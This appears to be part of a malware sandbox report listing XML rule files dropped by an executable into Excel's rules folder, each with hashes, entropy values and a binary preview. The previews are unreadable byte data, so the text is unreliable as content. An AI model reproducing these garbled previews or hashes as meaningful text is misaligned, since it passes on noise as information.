Preview:	<?xml..9...#yQ..:..o.>..'.=.3....BOk.............n....Y&U...../f.f..x..#...Gc..V.qi.";.G..wia.....6.(_.- .$..'oI..q$@..m.).]....fzn.OR{.ew_.F..r.tV$?.....9P;...y.....{]t]..LF.T.V.j.S.2.s.a....tX... ..~K...#.s.. Vd.#.....7..oY-$G..}..q8..\....K._.4x...4.D...=K..R.I;..L.q......K...Y.]...BJ.,.............y.4...DC.M.."mC..D::Q .`.PfL..O.y...CI....K........-....O..5..&._..{..[.`.]..z../....r\|sX..Q..a4t..xq#.........j.>..^2\|...K.3!...}>=...h.Rt^...VW:.......1....y/....V.......b.$b.Aq......![B?./...fy9x.}i6.rvZ...9zd ..H.E......P2T.S..).TJ3.D,.of.:L........N(.n..L.......8..8'j.>:Ck.4.:.......r5.....U*..........{.j..p.....6.$..R\.bc...%ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.755654684545716
Encrypted:	false
SSDEEP:	12:yjPzheIdadXwvgsZFBWh15b6XBG8pXpmwKErAkqbj4PFT9qDpFyYaTko9EBupekR:kzheIo+IMw1QG8JKEr5qDDp5arpZVbD
MD5:	8FDCD050B5C80645B8CEA2DDD378A806
SHA1:	593CDAF068725757DC7891BEA5FDBE338388898D
SHA-256:	C780726CAA7AAFEBC27BBFE37A555A2DAAE244B295C98EB7FA3175A7FD38EAF3
SHA-512:	40E48C9D4A4F5484BE1F983F20C8EE69287348CD068C45A34C6DCC0CBD13C0A481A71395BB531ADAAA2B46D2A8E4FB7E917FE3259938DE5089E58EADBF47BDB7
Malicious:	false
Preview:	<?xml.....]....w..3.b..w.....}.....V[U.).6n.M....5.EU.@..n-GG..Ex(.IC.sg.}u.^.E...eL....0u..NZ6.Z....M....j.'...#..n.TP.@tz!U.IF..P.<r...V5M...$...+.}v...v.@..lJ....m.2..X...p.7.M.....#.+...S.skW.[..:9......\.7.s."VH...]A.-9V..q..y..O.(+...~.x,.s....#Q.tI...KDS](....<.....`.b.....7...w....Ed9E1..+.[...K.......@..=...zx...=.y......T.+...(...y0..&.c...#........h?.?.o^...d<cu.@p......4.(.aRl2......01..z......OF.vX...m...@.......&..u.]H......2.U..1Ig.....&...6.XN5R..}#....^....@N.....W,.D..f\.w..[X..O......t....M..#._..ft.....n.].)....S..<.Hh...p.h3.g..m..i$/.P....FY.s...#..%.X...T'..... .q...P.....F_.`...+\..LL..Au.au.).vR..6>[.sf.t..<.k.F....>..H....oX.@*6....h...j.....G).......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.736579452760583
Encrypted:	false
SSDEEP:	12:hTLmRazz+1sZlPZMjUHFbDyFTqQQwmqQG4jKvApdRmTctAMPJqy+fbxjVcii9a:ce616ZmUHJWs4QGEcDWJqy+fNVbD
MD5:	B2A4572DBDBDD927EBD08CFE86ECE577
SHA1:	835DFA5EFFB433B26F67162897E738FC94EA714D
SHA-256:	E31A210E8CC0992CF5922A8587159A2A4F9F5C43B0E3934B4C30D3B792E95447
SHA-512:	790C6C6B4120AA5FB352A60A3B5C8448E31947FBD4B797ADED01672757AD0292943F8EA576059E7B70603319E1292D0DCB27632DCD695A6831711691583886E2
Malicious:	false
Preview:	<?xml.y<6.'U.t_@W..`..o..UD....W......( d3..%T.v...1....`\|8,m.<O..~.B.H...^.Z.0..v........:......Z....A..A.y!..>..z.Z.......D...HZ...P.....e..A.....+.......W...d]J..c&L@..w.7.....#c.vK..fPX...f.w.D..#.D..2.h...+@5..D.d.+..]..n.!;..e[.>.e.)N.4E...n...47-ip .....%);#.P...I.o..S......@...D.......HSeWu..s.,.~.....F..[\|x._3.l..bQ.2$o..Q.j...,}.N.jp..S......c.Wp..B.f.......... n3.........h .....e....9.j." ..'k..".eT.?.\|...jY......7'.}O..@..S..Bw...KjuB.Q.......\|c'n....../.L..%..A.s....@..R.....f.kB]....A.q....st....M.US...6..DO.........w..%.l......P..Q.5.`k(....J.gq4.kV..[.......(.S$..k.Jg.gr,H'...3....4.8.....}...js....$._....`.K..Q<itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.69444562763534
Encrypted:	false
SSDEEP:	12:TEMInIFfXhvcwXqxKlsLzsbHzWQcg8i2/rGF3KyOPowQjPWdBAMOJHqRPejVciik:TEMIny5QMmg8trGNKlQjudSVHVVbD
MD5:	E3FBE4714193971E776FCDFB45580006
SHA1:	E21992BD66B3CF5C338CF74FF82A4DD8A04E8897
SHA-256:	100DCA98226D594322CF093B89B73EEC276CED4A8AD9B47837EB627AF5343FD2
SHA-512:	AD4BA3532F6A53B8838D271A2C60EB682C42391B834E14AEA3A0784BE30816712C5EF42E72E1511C228DE10D4321047BB4563B67F46F831CC7FC2E448E850C11
Malicious:	false
Preview:	<?xml.bE...>..T....M@...9.$......0.na.B.4........3.]..M.b..NKji.....p.k.E$F..y...!Rq..'.L..(.'.....9E#..-tA...fPZ....f..\.*.....w..7J%#F.d.Sb..!7..r.QP...f.RP[-....C.@.X....So.G.OPV..u9e..w$G.!f.A...R..Qr...[^_t....C .YsW.g..sUsP.(..tq./.{`e.]b..I-.C.]...t.i.!...H.o.....z.c/.....v.2.Q..m...c..p.F;.y..i#;..u'.8..\|T...ITu...Ws..-D.R{@........t.<..H.`(..\|..T3..L[K.....C?........\|}.$np.W.?.l9LtB.~..4.{_vr....S4...........cO.@\..._...l. ....9S.7+..fh%.u..d\......'E.G...<.%<.M....uR..@."u6.5q....t\|/t..7..k.W..Z(.i...m.U.$f.f/1..j.]...z.&...V..N.R..[........+..w7q.;}uZ..Z_..A..+.^?a...x.G.m.]%..2\|.)..(..VqNK.4.=..F..$.[.w39...;._..=..q........T...0P..W/...V...z-H.F.H....n.p6.3MvL...,.g4#q."...}Eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.7349239727781
Encrypted:	false
SSDEEP:	24:cqofNh1cqBwdBhQqu+wV1JWrwe99GLvacVbD:3of1cVQlV1JeweH4vacFD
MD5:	41915F79BA8D34A35185A16DEDF337B3
SHA1:	555840C8150688E9E83136D61D968E938CEDA4CF
SHA-256:	A8BF41A2CFEA015C0B7ACAE2E6340A680F96907C7816861A5BAD377F2B9EFF05
SHA-512:	6CC17A983E7B6D4F8B0F0C0CA61DAD115A6255744ACE0AAB842A664186A0F8EB726C9CEBDCCDA75C5AFA1AFBCFE795CA012276759B7A592F34100A9D47596B46
Malicious:	false
Preview:	<?xmlsE.(..@..p..../,.%.:...b,5..{x..".%..q.e.......-......0JY.....2...g.+........m..".BF(z.0....gs..C&.z..pk]+{....LE........~.$.A...8,.c......X....5.wmt..E..l..."..b}r.x.g.....R....O.Cc.......5.v..X..Y..X{.M".8.Q...N.._..M1...._.._k..e^.....6:5.....L5...``.].H..H..8q.........AZ7.:;7E.h..\.i..u....(.;:C.>.h..-.Y.cL\|.."%......x7...J...$...T>C...9`.S.k9.'..R.@GgY..E..N.t..Y........~.q.>_]...5...........@...C...@....H.).Cn..@cH..?T....T1.E.k?.F...XM.....&B2h.2U.....g..O...]`..!I..)..Z.n.d.H.$........p.4.:.....F.:]).C..`/cZ.7.pqe....!.......6._o.2a.R.\..9e).....MEF.....!.y.Q..+(.Y..W..`3...p.....T...M....Kx.`8'\|.....R.i...aS....K..'.dO.#.............j...O._..O...6.R....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.754534822226902
Encrypted:	false
SSDEEP:	24:7a32NaOxdU28ecsqeBOMhwvT9RXS0lG1LVbD:m32ME0sqIOMqRdSMQLFD
MD5:	EB54F930C759C8CF603D1570478EE406
SHA1:	5E15FFC6373491880833B04857DBDB817600D91D
SHA-256:	DB7E19A87787D81CD0E6E3276E34CC3AD605FA9F471468B1DF5A7801E2FF6053
SHA-512:	74BF54AA7F206E23E6E6F5F9D0B5E986C311AB8AFE897761BFF2FCD3C70683044D17C0A0DCB87B1F0C907FA3908801C2C29B4FBAB7D7AE4830877A25911E261D
Malicious:	false
Preview:	<?xml.AR."".7.._..c.ZN..>0.`...S....kM..s..p..p...s....bR..lt...d...e2....8..u}.fuU..(.......I..vd....qRBl.E.d.^..TgY.....n.Bh..V..1W..N....{........].^,..B......&d.9...$l......J......o~..M.db.D.}.3...Z...X3..X..4..B.g.E.r.....)Bm........k?....u..h..G.]:.;^i.....B_O.1!t.s7.S.Qq..S,.m.`.........g?..Ao..%.....j..b..aO...:.y.....@3.;...L,....k..a..Y..*f..%.=6..".a.....P.[Px..N.,l..8...r...i.++)..\|....."....f`..,.<....\p.(....x.....U....(D...8.P-.....-..k.skC......;..k.....oYHz.>8...\.....0.F..n...F.A/....!......C..{(..Q..d..8..EM...\PK..^..B..:#j5(.r$.:TK...s$.{...K:}$.2..._..F....oE.\|.<$;._...E...:.Y.u......g..a)........,...>.a.ZU... \|:.G.&......8..-P@.....n..&..n..;.,.C..K.........T.R.AM.....ZP... itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.702556087975593
Encrypted:	false
SSDEEP:	12:CI2mgANt+5US2u5cXxgNLpBsWlUcYTA1gt3d9gscDSokfx0IqYXdNNjVcii9a:tsytZl69FpB+TxAOoRONVbD
MD5:	3157D696E484833C7EA884575F74F46F
SHA1:	63E645FEA6BD47782C2D54E44F5B1EA073C18AC6
SHA-256:	5747FF7295F1D706D23043C96DA297A56E69A721FE791969C4AD4EB2D3C13A60
SHA-512:	E1C2FF4001FB5A2286C47A41FA225D4EB7D6927859CC01C5ED46263D473DDA19F880400738063BA40D7DD29E05D6DEC3754161F28580B40442E823BF2A32962A
Malicious:	false
Preview:	<?xml...._X.3\|....o.<...^G..3..$..8......v.;xu.R..@....(.. ....g..j]d...-u.)&\|.V...1........".vR[.2..i.RS.%!...E3.pP,...<.C.%.&...K..m.@J.D.9......I..p...'....~{..2...X.aT...f.Y.....2.E........g>.N.l..d&..H.M..,......aQgHr..J...../.?.p..:o...p.k.vG?......Nw...N.....`...x5!I...u.....k.CBC..W.H.c...n.}..p.V.oS.......w( A.8......V..Q...]m2....tvn.c.@L..N8N.}Vn<..x.T....B".u..(...q....u..x..^f.w0!5H9..a..'l.@^2K..S.=?...Dl.q.Otp...G...]...y.8..l.J.uj.o....=.g.G..."..[....#l...9..%.q..e.....R..x...;.Q.....go.w..0.s....iF....O0.n.vI.M.:l3.n1.........T..f.\|.....c.'.}B...p,;.."..Cr.Ee;...B.."@.+Uc0....'.)..9..I..5.*..7..r......\Qm..Uk.uitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.722927921825546
Encrypted:	false
SSDEEP:	24:m2MKio4FoOfeaGPaawd+AiYzYs8975ZsgZfAcVbD:7MKiVFLaQIYzIZsBcFD
MD5:	9AAB0FF55F00EBFBC343A9A89CDC55E4
SHA1:	137329DC5883ED3C6DC5FDE41D4833F576839ADF
SHA-256:	92EADFA7078AB4EE95E46275539AB38E161AD05827D41E3815F6651D30B6BDD7
SHA-512:	C90F228D85E9D75D2E54590D938F0DF9234AF03AF6ABEC1BCC8DBBFE3854B0E5075C353AF4A2F5F22A4D12036ECA3FEF9301CFA856557FF81F3A090D24D926A6
Malicious:	false
Preview:	<?xmlV......i..8...(.c..9.a.\.wB.......g..@....wm/]7cm.a.1...W..V..6.AO...X.o?@#=<.pR.....X.q...g.j.K....(.`o..y..9.}L..y...4.l.2......".+.....&..k.{..V....OA...g.I.%.uM&.7...........4X8.+..P.(.\|L....o....eM........q.x.+..\W......9..3.T..$..2_&....w{0:x.{.~.8<..$......Q.Y...s..s......J....,.>d.1..u.....,H...,...r........p)..MP.........5...X(.w.r.......Xy81{{.Q..p..f3.. .c2..Z..G...5~^.o...Z..&.2.T.1_d.Kp.:.4..AHw+..;.3+M.<.s..h>...V..../vp.....)u.`......iA..)..=%_..ttdn.{G.\|^..".z.S....J.t...N......^..{..f.i...\|.4.g..UFBa.r.K.s...0..I.W.S..T...;..q..2x......?S..b.MY..P6i6>.q$...aU..O....PX.D...ks...=..M._$W. ..J....T...(:..q..]e&.qO.TZ..q...2.V...+...)..Kw.p....3...7V........N.Z.Y..]_itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.726060758547422
Encrypted:	false
SSDEEP:	12:AiZjZ3wD7thWvO6B/3ZdfbRtW4dZXCVgSK552XzWKV6wuLD/jVcii9a:5ZwDZhW9lLRtv3CKz52jWY6TLDbVbD
MD5:	7D398D1F5E735760DD2ED44359D1F4D3
SHA1:	C5B65FC01BCE9B5D987B4BB0A26D7642678929A5
SHA-256:	AFFAF5B0E8CA6A494809BED1F407A55C75FA02303B6059FCDC4FE9FC8DA3A704
SHA-512:	581AF5E04CEB188519D19E336A82D9C9A252D2FDDA1821534AFD9B5F27C59A1B0CB1C79468F324D7D687667D6A7502E70FE609582AF3F67F30BF05354F99F230
Malicious:	false
Preview:	<?xml....?\.+.b`...+.$P.F....a.\..R..~....b........A.4xQ.......4..../.C#.VX.(.b8..!.CJ_wV.L...ZVT.......%<(;^...Yj...o.A...}....-..1...e.....vrjn.ET...v..?w.ds...#.s...(D.......c..Y.?...L..p...0....g..../..C.P....-6....[.9.w..1/P/>..TK.y.2.l...\|..qp.#...ma..i.#....=..?...$F..#.E.8.>.Q.i..R./.;%..N.hQbQ..!!]Z.[.....DK..xK....}..:.q.2bzh',vq%...~..z).._<...).b.,3..=2}.}..K..{...f.!ly...lG.B..<.....-v.........U...X\..N..,..A....PivQ#.X.....Jyz.....?..\[h.l.a..I^.'...z..N.fi.w.^...4.(cL`.E....FF...G......-UV.?...:.J.=..E.E.JN.c...a..dHR....S...].K.....(...r...x .."F3.L2.B.EO.C..#... ........>..\|....+...<.R.Mu.uM..S....{(.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.727948947377205
Encrypted:	false
SSDEEP:	24:VF4KMgj97/c1X6oZTENWyEicgEGkpkLahVbD:TXMU9c1K8TEN3qg7ahFD
MD5:	DF15952D4542501547239081A58682E8
SHA1:	445A939296389B218FB7F63C7A620190FC1C631B
SHA-256:	3596D3E7FBBBD06D778637AACEC4890FA2007ED654C4A06EC300713D85BF201C
SHA-512:	A17080FAEFF6C6B20DA3B0DE2B3E22D573A369FE70EBD300F971D62219485AD4A0A0CBBB042ECE429D2D633A044DD7456FEA9B2354D3BE4AAEC2FB3ECAFEFFC8
Malicious:	false
Preview:	<?xml)#V%n........m'\|...zc'.4.c}T...@....%..."~R..3n>....N....y...w@.)k.....r\|.x.x..c...n.#...........r..f;l%=I.U.....J.%.aF.\.!..[;..{k..;B..f.........%Wz.~.........6%...4+\....M....<...%A....".^.....~.\|T.......#.6..2....;^.X....-b..N.V....W.3....x_..N..Q.I@.6.........../...-."..YJBn.....\|...`M...x.....r........2....SP....M..5.S...>.....=+p^.<.....L......c:.%...R...x...o.4.9.x<c.....KT<bl4A.(....p..&..^a..]B....g.x...-.......?.D...& .,..k.M....Sm."r.}.d..&(r...M".[S..D`...2...x.....k..V.O. .k.v.>...y...3............3...ha.3l.8.".b...l.$.B.:Y.@>..... ....f6...wzM@.$....K........'..<...&.e.$....3..w.......C7x.mZ....ltN.e.]T..A9...f.(..?.qe..V.l.S.#<\3..((.fS.N.Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.729975168194411
Encrypted:	false
SSDEEP:	12:Lp0JfBxcFWHFrpvwjUpMXyyD9IBBeFqnPkseZeyYCYu+Nj91kp2a9QejVcii9a:LIfBaFWHFFyUcyyxIKFukse8O+B1syc9
MD5:	89AB1D7C83DD9367E1FBBB12AF04EA1B
SHA1:	9EAE680A44765316EE8471FE2DB130667BE04E95
SHA-256:	99552D8D1CCAF726180C30710D8B93864A2213D064970876AB550C1081DC3AAB
SHA-512:	2E14C48465E4B03E7A86AAF528F3AE485A845E996988B331B7B31463190EACF9A9C4A9D5CB1D8CEBAA098C2AFB6E74FF25094DFFB98DFB4E443867E9AFF174B3
Malicious:	false
Preview:	<?xml?\....Y.+.C....`.<...r......Ew...cu..#..o.....k.1.<\W.....AC}.h...y.2.q..ECP...>S.....X..<..?.y...s$`..ehHw"....}.....+.)......... QL.].......5...t..?....;7).`....i>....u5..#N.D.o.....&..E....cr..s....g.....<............$..........C.x..o..R}......Y..<...N^.az}AW\..@..s..a..L.-.#G~.&pQE...-!5......i.........RB1.w.e..../.%....T..&..B3.....+..Hm..~.u{.DC"Z..z.......Q..u>.b....T/..bKh.,....R..8.v......\|F}...w.........v..i......v%..{..zPo..........r.JB.......\|..a..T...F...}c...<.:...S...'.M.\|...s...M ...u\|........t.,.^/g...z.{%.....eh.P...7:.\|..W:?..R...bD..a.........8..P..4...t[/.B.D.rJ67...f1^.......A,m4........kkc......1."....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.761893428678123
Encrypted:	false
SSDEEP:	24:ZUgTGI+t2MU0BOzq3r7bbmQwuit8ypkDVbD:dZTVWTbC2DFD
MD5:	365438BABC4488E47EBCC4250D9DEEB5
SHA1:	E48D0B8711D856BC418198FDDC3A0ED31CC5508F
SHA-256:	3C59999FAD169DE556E28142C61A1D08D97335662802283B357733E6FE35D389
SHA-512:	2A55C01EB379B77C03BCFEFB130FB50456523B769C0579AE32049BC95D10E71F5C0C5AE6FEE893F0CC20E608B1CBA31DD957CCD8EA7B00D1BEA91379F3B778EF
Malicious:	false
Preview:	<?xml!.......:.....e.g..]@.?.S...._..DD..#.Z....)......'Z....84.>...xs.A.a..`..G...M.. .L.....T.g6.......^...s...W..G.U.....-.....].....B....O...q7.)j.s...].e....../.....6...L:9..d..(../.x@.iC.f.......d..wa....a.^1 :.....z..]=d...h..........%.2..o.S.e1...T9.G..........,/kS.jx..#{j.^3Bf.P.J#.;.I...{....q....GwT`.....L.._....G.D.F.h4........x.U].(D..t..'.....D...^+4.bQ...*....]YR...n=..e..e.~._..U..o....Q..Q..h..#^..M...K3....7..\.;).<-....x......}!....ldc..J..H......o..}.am........gz..z(....b..........L....6....m6U.6...f..F..".."... ..3..i.Xm...:iF..Uc[G....\.s....[...Wx.X"\|.........OvF.s....r..B..1.&>.4X.??.q.t.a....]....z.H.d3a....Y3..P.P9..J..ZS9.UL....\e..{.J....4.;c?....hVk]...v....x.<z .m..J.I..tc.\^.N.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6879230816260575
Encrypted:	false
SSDEEP:	12:DfhQKkkSaoG4b5SK0iMOd/Clp5I2GmkJuqIot5tPJsWSGvlReoVybgyarjVcii9a:DfgkpoG9K0cClp5IukJuWtLP1Ssjeo26
MD5:	A617F435DB321C44B0158B0DD745BE8D
SHA1:	9FAA4DC559AB12A55DC0551561186A44AB7C73C3
SHA-256:	0D92C0CAF6B837DBA9BB71CA683B92EDBFE58EAA51EA069D477992FC0E40575A
SHA-512:	FA00950E716784E90FA0F4D74E566F1F8AF31EFBB24CC02EA9384F43F0E1D6333E88AB5F6188F9CFD568B87A193BAC8DEDCC6CA291317C793FD4382A887C1F33
Malicious:	false
Preview:	<?xml."...h........RZ.P.Bx.T...Y%\=..H5%.0^b.L.."mu....P...\|.....@o..........n.'+.O...C7......@.%.O.../.4.{..<.6..2..a=...pyc ...fd..W'......Z....a.3.V.oZkN.V...S...Su\|...H.(..r.v.....K............@.U._.n..U..j@.".lU.p...T.fu..~.g,r)..1.......iB...s{....u).O..]...".a...z..Q..D.....Dx`...R.Tz ..\|i)?.P.BQ...y......neu....r.. f,}.....A6.^.....[<.O.....=..^r.'.....O...[..;...VD...XE0.\|...lE.N0d...}..p..<Qm...;fc.H.7+...v..}$...au...<g.Lh.......t..Q..../.....X....]{.H4.Y.:.1%...4 ....v-uE..W.. ........H.K...vt....sn....;.Z.__...m@...d...Z[...dA......$7T.^j.o`-..D.-....zz8..W..{.l.....).{....k.\|..%......,.{P.....'.!...x..S..X....[..D...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.718462084600237
Encrypted:	false
SSDEEP:	24:Jz5mZSt+/jZmDJV3kqcdqQiTCbT2+5iVbD:JzcLrkJVB0qQGx+EFD
MD5:	0DC0FCF32356A818F6CF8969BF0F0703
SHA1:	55BD74778A6D7368F564B570F4AB0C0ED490BF8C
SHA-256:	C68218CD2A50B49F77FA6D537C06267C514B69DD493911B5ACD1F3EC4761EF51
SHA-512:	FE07F406C1A220D65FDC41162B4A314B9A955A771F7A61433BD6F4DB105637FA89F50C7D0011405A9888D235B10E0475A2D1967CCA07563412982F1A179AEB46
Malicious:	false
Preview:	<?xml>.b.....vD...+...d..v.. Q....V.k...X....D.I=...n.~...HZ..9...l...G0i>........`...Br....k9_j4.....$9w....RM.V/QA..]w..{}...7.T.`.i..~..9.3q.e<..3...t.,...O.;.m..<.%.r..D.9.i.o..............F.1.....Z..W....R%...i..l..~&....k.lz.i$.B....k.QQP...H.w+Z_. .$...R.~..C..<..W.R...2[>......Y.7.4.3B.....b.c..&A.TNSe.[.O)^..y."%..;..P....q.!...&.....V.dp.5.Y,...z.....q.J...In......>o.VX..\|Gu..n.].X..jH..2^./.0...#.........C.N>e..4\.dS.[.T...`,.@.3.I...lSje..pNG:1..A....A.m.P.S.../-.N..P.O.UP......0}..js....I.....3.$mi..}.A...x..p.?;U..m..W^...Z.%..M~....}(J.9Yp..^....4...c..*...v@.X... k-.....6...2..B.p...Q...6..]t.Y_?.5z...L..w.7A.}..o.\|...D.dj.Y. ./....."NU:........hY...Qt...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.71164628943761
Encrypted:	false
SSDEEP:	12:6zjNrJrUk50gaxi1ay25bWYDJbvqxSJht1+BRklpqAo6V7jVcii9a:+J5Ag1bAJbvO6hCPklpqmVbD
MD5:	8CC60EE1484D5B1B5372005164069061
SHA1:	0FFD6FCE1B02A674F8D3C0FE41B6351D6D7632CC
SHA-256:	9B49512DECFE4DA7EFD4BC30EE20FC083996BE5B845610D8B38CD979D74BAC73
SHA-512:	C60EBF0BBA18E810DD68E24C9AF925F8ED1BA088CA6A352A4FC13A80E3F15FBF0E8856576F23DD709359C7500B4E7BD58EDC0DC6CD19EA2507F7A8662016BFDD
Malicious:	false
Preview:	<?xmlo.w...pR....yP.@...QD....W.)..#w'X.AE<H.:t..M,..L{.Y%.X.WW.y.'......9%F.jf.......V.....[...._..)[.e..~S!C>.t&...cmoD.i....A%&#h....x.5qn.trm.......>tw..ot.c...1SiA..._.8K...h.GH.:.4.\|..:Yv}b@br..2!t....{.t......k/.{62cWM......E.z.>....vr.z.>.mf...........}.F._.".~...^nG...D..j..../.v.FQ...YQ.7..x.l/D......D]%V..P...........C....kL..^b.dE....l.g.......`.........Z.S......~j.:...K;b.>"^.3@.C... p...xE$E..-.\|.......B.......\A.>?.X..MJ...1 V..z..XCJ.DK..WN8I.V,]..'r.,..'...."...m0.O....!...b..}.T..p..;...Zxx.]..G..G.\J...).GK0y..;>}.kj./'.Y......}0.....bR........#...F....8..'R...$.:z...\|..Z.wRh.E.?.!@_...9.v...r.0.S.y.[L^itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.723091719385683
Encrypted:	false
SSDEEP:	24:sZDsLbtBWUbtycaTE8Wa0UlTRF5zLoYt7yZVbD:sZDsLbe80hjLF5zX1yZFD
MD5:	9FA450BC960F3F1C8603FCD734E02DA2
SHA1:	6AE48888A468760DC9AC8CF294E40A158AC3145E
SHA-256:	F4B601AEAF60890274D1199DCF2936E7496A32660164CC64E324C6FF95A913D9
SHA-512:	128C02E4163EBBCC6D068E538E306A40BCD65B24D54C4821DD746CE87D5C25E4BA00A600A00D3F5C6DF448B5E83FA9219485E171D64D4684940AC0EF8BA0364C
Malicious:	false
Preview:	<?xmlRR..k.u.......G7Hyh...V.q...uB.3...8..P.....P[.4Kq...e.:....3.....LA./%-U...`.W..>r`BF../c.%Se.\|....}....'.$....%.,..,Rc.......\|.,Q$............,.S.>.j>g.p.UX.CcgP:~5..x...~...@.p.4.ugB.?...v...6.,...CS...v.\c.CJ......[.......u.[..iH.p....].z..".v........ZeV..ko.2..@3..=o..5.._....I.5.?.o.....32=..&V-.I..8B.......=3.`....y8../pW.......Z.W.. ...$.k./..W..0..x.....&..#.....h..1..-.X...<.\.ZX#..>....$.f..{.28T....!.....1....4.j.I.';.f..x.V.:D...5xs....=..jp...7Zh......YnH..?..n.ij.......8s.SUc.`0....}..`^..$S..j.=....u....[>N.}...E......]nn.&.9.9.........*..aN.Om.XsIU4.t;.I....D...#W.....-.J...."....Bn_b...c...t7.... (7&.d..J\|g..,.e...$.8'..7.V.a..S.F.v..Qb..?....:y.....J.~-...(.(....j......!j..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.710874760132126
Encrypted:	false
SSDEEP:	12:fNEzrSrL92rx1xInHKjYGlXlJ+AqOUvybZgNCAvFJ/wwZrq7l95cIenyYWYBjVcq:fmOrL92rxqQBkGZWCUFZwMQHcIenyLYv
